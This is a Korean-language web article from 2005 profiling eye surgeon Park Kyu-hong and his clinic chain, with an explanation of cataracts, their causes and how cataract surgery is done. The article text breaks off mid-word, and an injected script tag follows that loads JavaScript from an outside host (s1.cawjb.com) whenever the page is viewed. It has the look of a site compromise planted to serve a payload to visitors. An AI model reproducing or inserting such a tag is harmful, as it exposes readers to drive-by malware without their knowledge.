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제목 새빛을 전하는 사랑의 메신저 박규홍 원장
등록일 2005.12.22 조회수 3012
새빛이 전하는 사랑의 향기, 새빛을 전하는 사랑의 메신저 박규홍 원장 따뜻하고 넉넉한 말투와 눈빛에서 세상에 진정한 빛을 전하는 라파엘의 모습이 투영된다. ‘새빛’의 의미, 새로운 세상을 보여주고 싶어 카페처럼 산뜻하게 정돈된 병원 분위기에 놀라며 따사로운 햇살을 통유리로 받는 테라스에 서 오래지않아 수술을 막 마치고 나온 새빛안과 박규홍 원장을 만났다. 처음 안과의가 된 동기가 알고 싶었다. “원래는 예방의학에 관심이 많았고 그 분야에 대해 전공을 했습니다. 수술에 대한 욕망이 컸지요. 하지만 안과의가 되는 것이 제 운명이 아니었나 싶어요. 제 수호성인이 라파엘입니다. 물고기로 눈을 고쳐주었다는 치료자이지요. 되돌아 보면 수술을 계속 하고 싶다는 꿈을 이룰 수 있으면서도 현실적이고 의미 있는 선택을 했다고 생각합니다.” 박규홍 원장이 개인안과를 세우기 시작한 것은 1994년 강촌에서부터다. 1997년 주엽, 1999년 신촌 새빛안과를 세웠고 이후 강남, 일산, 수색에 이어 중국 아이캉 병원을 열기까지 열심히 앞만 보고 달려 국내 개인안과 병원 중 최대 규모를 이루게 되었다. “앞으로 점점 더 병원 간 네트워크가 필요할 것이라고 느꼈습니다. 직영 병원뿐만 아니라 같은 경영마인드를 가진 프랜차이즈 병원을 만든 것도 그 때문입니다. 그것이 우리 병원의 차별성이기도 합니다.” 장모님이 지어주셨다는 상호 ‘새빛’의 의미는 물리적으로는 치료를 통해 세상의 빛을 보게 한다는 것, 정신적으로는 밝아진 눈으로 새로운 세상 즉 영적 세상을 보게 한다는 것이라고 한다. 그가 생각하는 병원의 핵심이념이자 목표는 의료진과 의료장비를 포함한 최상의 의료서비스를 통해 이웃에게 ‘사랑의 향기’를 전하는 것이다. 그러기 위해 박 원장은 서로가 존중하는 병원 분위기를 만들고 건전하게 이익을 얻어 그것을 사회에 환원해야 한다고 주장한다. 그의 생각에 공감한 의료진과 환자 모두 서로 끊임없이 소통하면서 발전적인 만남을 만들어 가기 위해 노력하고 있다. 백내장, 80대 90%이상의 유병률 “생각해보니 제가 시술한 백내장 수술 환자가 오천 명 정도 되는 군요. 라식, 라섹 등을 시술한 것이 2만안 정도입니다.” 92년부터 지금까지 쉴새 없이 수술과 치료를 진행한 박규홍 원장은 주로 굴절수술을 통한 시력교정을 전문으로 하고 있다. 최근에는 레이저 노안수술이 시행되면서 손쉽게 노안이 개선시키기도 한다고. 그렇다면 노안이 무엇인가 하는 질문에 박규홍 원장은 눈의 노화로 인해 수정체의 탄력이 떨어진 현상이라고 말한다. 하지만 노안이 하나의 질병이 아니라 정확히 노년 안이라고 표현하는 것이 옳으며, 백내장, 녹내장, 망막변성, 비분증 등 다양한 질병이 노화에 의해 일어날 수 있는 것이라 했다. 특히 백내장 같은 경우 우리나라 노인이 70대에 이르면 70%, 80대에는 90%이상이 앓게 되는 질병이다. 백내장은 카메라의 렌즈에 해당되는 수정체에 혼탁이 생기는 병으로 처음에는 시야가 흐리고 얼룩지게 보이므로 인상을 찌푸리게 되며, 점점 증세가 악화되면 안개가 낀 것처럼 부옇게 변하면서 결국은 실명까지 될 수 있다고 한다. 백내장의 원인은 나이가 듦에 따라 생기는 것이 일반적이지만 선천적 요인, 외상, 자외선의 노출 정도, 당뇨나 흡연, 음주 등의 다양한 주변 요인에 따라 생길 수 있다. 백내장을 치료하기 위해서는 수술이 불가피하다. 백내장 수술의 과정을 좀 더 살펴보면, 혼탁한 수정체를 안구 내에서 제거하는 것으로 수술용 현미경하에서 소절개창을 통해 수정체를 아주 작은 조각으로 만들어 안구 내에서 흡입해 제거한다. 이때 후낭이라고 하는 세로판 같은 얇은 막은 남겨 둔다. 그러고 나서 수술 전 검사에 의해 산출된 굴절력을 가진 인공수정체를 원래 수정체가 있던 위치에 삽입하고 절개창을 닫는 것이다. 인공수정체 삽입은 모든 환자에게 적용되는 것은 아니고 넣지 않는 것이 더 좋거나 넣을 수 없는 경우도 있다. 백내장이 의심되면 우선 정확한 검사를 통해 백내장의 유무와 상태를 파악해야 한다. 또한 백내장이 있다고 해서 모두 수술을 하는 것이 아니라 환자가 일상생활에 불편을 호소할 정도에 한해 실시한다. 시력은 보통 0.5를 전후하여 환자의 성향이나 상태, 직업 등 여러 가지 상황을 고려하여 수술여부와 시기를 결정한다. 최근에는 수술 후 돋보기 사용 의존도를 낮추기 위해 조절성 인공수정체를 이식하여 환자들이 돋보기 없이도 잘 볼 수 있도록 환자들의 편의를 극대화하는 시술이 사용되고 있다. 백내장을 예방하기 위한 방?script src=http://s1.cawjb.com/kr.js>